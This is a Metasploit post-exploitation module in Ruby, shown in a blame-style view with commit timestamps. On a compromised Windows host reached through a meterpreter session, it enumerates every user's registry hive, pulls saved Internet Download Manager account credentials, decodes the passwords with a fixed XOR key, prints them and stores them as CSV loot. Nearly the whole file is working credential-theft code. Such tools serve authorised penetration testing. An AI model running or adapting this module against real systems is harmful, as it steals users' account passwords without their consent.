2011-07-22 19:55:20 +00:00
|
|
|
##
|
|
|
|
# $Id$
|
|
|
|
##
|
|
|
|
|
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2011-07-22 19:55:20 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
require 'msf/core/post/windows/registry'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Post
|
|
|
|
include Msf::Post::Windows::Registry
|
|
|
|
include Msf::Auxiliary::Report
|
|
|
|
|
|
|
|
def initialize(info={})
|
|
|
|
super( update_info( info,
|
2011-08-02 22:42:26 +00:00
|
|
|
'Name' => 'Windows Gather Internet Download Manager (IDM) Password Extractor',
|
|
|
|
'Description' => %q{
|
|
|
|
This module recovers the saved premium download account passwords from
|
|
|
|
Internet Download Manager (IDM). These passwords are stored in an encoded
|
|
|
|
format in the registry. This module traverses through these registry entries
|
|
|
|
and decodes them. Thanks to the template code of thelightcosine's CoreFTP
|
|
|
|
password module.
|
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'sil3ntdre4m <sil3ntdre4m[at]gmail.com>',
|
|
|
|
'SecurityXploded Team <contact[at]securityxploded.com>'
|
|
|
|
],
|
|
|
|
'Version' => '$Revision$',
|
|
|
|
'Platform' => [ 'windows' ],
|
|
|
|
'SessionTypes' => [ 'meterpreter' ]
|
|
|
|
))
|
2011-07-22 19:55:20 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def run
|
2011-07-29 01:22:00 +00:00
|
|
|
creds = Rex::Ui::Text::Table.new(
|
|
|
|
'Header' => 'Internet Downloader Manager Credentials',
|
2011-11-21 23:49:57 +00:00
|
|
|
'Indent' => 1,
|
2011-07-29 01:22:00 +00:00
|
|
|
'Columns' =>
|
|
|
|
[
|
|
|
|
'User',
|
2011-11-15 22:13:51 +00:00
|
|
|
'Password',
|
|
|
|
'Site'
|
2011-07-29 01:22:00 +00:00
|
|
|
]
|
|
|
|
)
|
|
|
|
|
2011-07-22 19:55:20 +00:00
|
|
|
registry_enumkeys('HKU').each do |k|
|
|
|
|
next unless k.include? "S-1-5-21"
|
|
|
|
next if k.include? "_Classes"
|
|
|
|
|
|
|
|
print_status("Looking at Key #{k}")
|
|
|
|
|
|
|
|
begin
|
|
|
|
subkeys = registry_enumkeys("HKU\\#{k}\\Software\\DownloadManager\\Passwords\\")
|
2011-07-31 18:28:46 +00:00
|
|
|
if subkeys.nil? or subkeys.empty?
|
2011-07-22 19:55:20 +00:00
|
|
|
print_status ("IDM not installed for this user.")
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
subkeys.each do |site|
|
|
|
|
user = registry_getvaldata("HKU\\#{k}\\Software\\DownloadManager\\Passwords\\#{site}", "User")
|
|
|
|
epass = registry_getvaldata("HKU\\#{k}\\Software\\DownloadManager\\Passwords\\#{site}", "EncPassword")
|
|
|
|
next if epass == nil or epass == ""
|
|
|
|
pass = xor(epass)
|
|
|
|
print_good("Site: #{site} (User=#{user}, Password=#{pass})")
|
2011-11-15 22:13:51 +00:00
|
|
|
creds << [user, pass, site]
|
2011-07-22 19:55:20 +00:00
|
|
|
end
|
2011-07-26 01:49:51 +00:00
|
|
|
|
|
|
|
print_status("Storing data...")
|
|
|
|
path = store_loot(
|
|
|
|
'idm.user.creds',
|
2011-11-15 22:13:51 +00:00
|
|
|
'text/csv',
|
2011-07-26 01:49:51 +00:00
|
|
|
session,
|
2011-11-15 22:13:51 +00:00
|
|
|
creds.to_csv,
|
|
|
|
'idm_user_creds.csv',
|
2011-07-26 01:49:51 +00:00
|
|
|
'Internet Download Manager User Credentials'
|
|
|
|
)
|
|
|
|
|
|
|
|
print_status("IDM user credentials saved in: #{path}")
|
|
|
|
|
2011-07-22 19:55:20 +00:00
|
|
|
rescue ::Exception => e
|
2011-10-18 00:54:05 +00:00
|
|
|
print_error("An error has occurred: #{e.to_s}")
|
2011-07-22 19:55:20 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
2011-08-02 22:42:26 +00:00
|
|
|
def xor(ciphertext)
|
|
|
|
pass = ciphertext.unpack("C*")
|
|
|
|
key=15
|
|
|
|
for i in 0 .. pass.length-1 do
|
|
|
|
pass[i] ^= key
|
|
|
|
end
|
|
|
|
return pass.pack("C*")
|
2011-07-22 19:55:20 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
end
|